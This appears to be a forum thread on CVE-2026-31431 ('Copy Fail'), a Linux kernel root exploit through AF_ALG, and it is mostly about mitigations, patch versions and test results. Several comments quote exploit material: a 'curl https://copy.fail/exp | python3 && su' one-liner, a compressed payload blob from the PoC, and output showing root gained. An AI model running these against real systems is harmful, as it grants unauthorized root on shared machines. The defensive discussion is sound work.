The algorithm being used in this exploit, "authencesn", is even an IPsec implementation detail, which never should have been exposed to userspace as a general-purpose en/decryption API.

If you're in charge of the configuration for a Linux kernel, I strongly recommend disabling all CONFIG_CRYPTO_USER_API_* kconfig options. This would have made this bug, and also every past and future AF_ALG bug, unexploitable. In the unlikely event that you find that it breaks any userspace programs on your system, please help migrate them to userspace crypto code! For some it's already been done. But in general, AF_ALG has actually never been used much in the first place, other than in exploits.

I don't think there's much other option. This sort of userspace API might have been sort of okay many years ago. But it just doesn't stand up in a world with syzbot, LLM-assisted bug discovery, etc.

https://access.redhat.com/security/cve/cve-2026-31431 "Moderate severity", "Fix deferred"

https://security-tracker.debian.org/tracker/CVE-2026-31431

https://ubuntu.com/security/CVE-2026-31431

https://www.suse.com/security/cve/CVE-2026-31431.html

I was wondering if I was vulnerable running Fedora 44, kernel 6.19.14, and after a few minutes of digging I was able to find the linux-cve-announce mailing list post: https://lore.kernel.org/linux-cve-announce/2026042214-CVE-20... which says:

  ...fixed in 6.18.22 with commit fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8

  ...fixed in 6.19.12 with commit ce42ee423e58dffa5ec03524054c9d8bfd4f6237

  ...fixed in 7.0 with commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

    python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("algif_aead probably successfully loaded, mitigation not effective; remove again with: rmmod algif_aead")'

    modprobe algif_aead

As of now the submission title is simply “Copy Fail”.

Given the severity of the exploit, can we edit the Title to add some context that it’s a major Linux vulnerability?

Eg the other submissions say this : “Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.”

Too many darn acronyms. This one wasn't too hard to figure out from context but I wish people would define acronyms before using them!

So here the next-best thing I found: Disable AF_ALG via systemd. Needs drop-ins for all exposed services. Here an Ansible playbook that covers ssdh and user@, which are the main ones usually.

https://gist.github.com/m3nu/c19269ef4fd6fa53b03eb388f77464d...

> Update your distribution's kernel package to one that includes mainline commit a664bf3d603d

But it isn't very clear to me what Kernel version you can expect that to be in. For Arch/CachyOS, the patch seems to be included in 6.18.22+, 6.19.12+ and 7.0+. If you're on any of the lower versions in the same upstream stable series, you're likely vulnerable right now. Some distro kernels may include the fix in other versions, so check for your distribution.

I ran the exploit in rootless Podman, and predictably it doesn't escape the container.

They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine

>Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel. any user becomes root

jumped out of bed and went straight into webminal.org servers as local user and ran the python code. It says permission denied on sock() call.

Then I tested with local laptop with it:

```

$ uname -a

Linux debian 6.12.43+deb12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.43-1~bpo12+1 (2025-09-06) x86_64 GNU/Linux

$ python3 copy_fail_exp.py

# cd /root && ls

bluetooth_fix_log.txt dead.letter overcommit_memorx~ overcommit_memory~ overcommit_memorz~ resize.txt snap

```

It does provide the root access!

[0] https://rkeene.org/viewer/tmp/copy_fail_exp.c.htm

https://xint.io/blog/copy-fail-linux-distributions

Does this mean you can go from a basic web shell from a shared hosting account to root? I can see how that could wreak havoc really quickly.

They are probably Ubuntu 24 but don't remember.

  $ stat /bin/su
    File: /bin/su
    Size: 59552           Blocks: 118        IO Block: 59904  regular file
  Device: 0,52    Inode: 796854      Links: 1
  Access: (4711/-rws--x--x)  Uid: (    0/    root)   Gid: (    0/    root)
  Access: 2023-09-18 13:23:03.117105665 -0500
  Modify: 2021-02-13 05:15:56.000000000 -0600
  Change: 2023-09-18 13:23:03.119105665 -0500
   Birth: 2023-09-18 13:23:03.117105665 -0500

Got:

    OSError: [Errno 97] Address family not supported by protocol

Edit:

Looks like on Arch you have to go out of your way to have this enabled.

    $ zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
    CONFIG_CRYPTO_USER_API=m
    CONFIG_CRYPTO_USER_API_HASH=m
    CONFIG_CRYPTO_USER_API_SKCIPHER=m
    CONFIG_CRYPTO_USER_API_RNG=m
    # CONFIG_CRYPTO_USER_API_RNG_CAVP is not set
    CONFIG_CRYPTO_USER_API_AEAD=m
    # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set
    $ uname -r
    6.12.63-1-lts

    curl https://copy.fail/exp | python3 && su
    Traceback (most recent call last):
      File "<stdin>", line 9, in <module>
      File "<stdin>", line 5, in c
    AttributeError: module 'os' has no attribute 'splice'

Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!

Looking at their source code [1] it starts with this simple line:

import os as g,zlib,socket as s

And already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.

Anyway, I could go on. :) Let's just stop fetishizing byte count

[1] https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...

1. Yes, it's real.

2. Current chain can write any arbitrary content to any user-readable file (into the page cache).

3. Current chain relies on an available target suid binary that you can open() as a lowpriv user.

4. Current exploit relies on that binary being /bin/su and then being able to execve(/bin/sh, 0, 0) (which doesn't work on alpine, etc.). The former is easily replaced in the code. The latter needs a rebuilt payload ELF (also easy).

5. The authors say they have other chains (including ones that allow container escapes). I believe them.

6. A mildly de-minified PoC for Alpine with a new payload ELF is at hackerspace[pl]/~q3k/alpine.py . You'll need /bin/ping from iputils. This should be now somewhat reliable on any distro that has a `/bin/sh` and any setuid-and-readable binary (you'll just need to find it on your own).

https://github.com/bottlerocket-os/bottlerocket/security/adv...

Interesting detail. On Alpine, `/usr/bin/su` is not readable by any user, so the PoC doesn't work.

I suspect that the underlying issue can be exploited in other ways, but it makes me think that there's no reason for any suid binary to be world-readable.

On this bright side, does this mean Magisk is coming to all unpatched Android phones?

https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...

>zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)

That said, I understand why a terser script might have been prioritized.

EDIT: There's a couple of C ports in the comments that contain more details and no compressed payloads.

Meanwhile, recent Xen CVEs also do not affect Qubes, as usual, https://www.qubes-os.org/news/2026/04/28/xsas-released-on-20...

Except you can't pass another setuid binary as argv[1] because the AI writing this slop never added that feature to this python script.

I can't get it to work on any distro i've tried.

> Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.

There is no update available for Ubuntu 24, PoC works and just tried updating.

    $ ls -lah /run/wrappers/bin/su
    -r-s--x--x 1 root root 70K Apr 27 11:09 /run/wrappers/bin/su

I know it's also unrelated, but this is the most aggressively obvious LLM slop copy I've ever seen and it is a page with like 30 sentences. I guess we're just seriously doing this, huh?

This is why I compile my own kernel. I disable things I don't use. If it's not present it can't hurt you.

> block AF_ALG socket creation via seccomp regardless of patch state.

Likewise I use seccomp to only allow syscalls that are necessary. Everything else is disabled. In the programs I have that need to connect to a backend socket, that is done, and then socket creation is disabled.

Password: su: Authentication token manipulation error

I'm guessing this means it's already patched?

In my opinion, this mostly affects countries that are still using outdated systems, especially critical systems.

This gives bad actors a direct route to the root. Having an easily accessible root is not funny.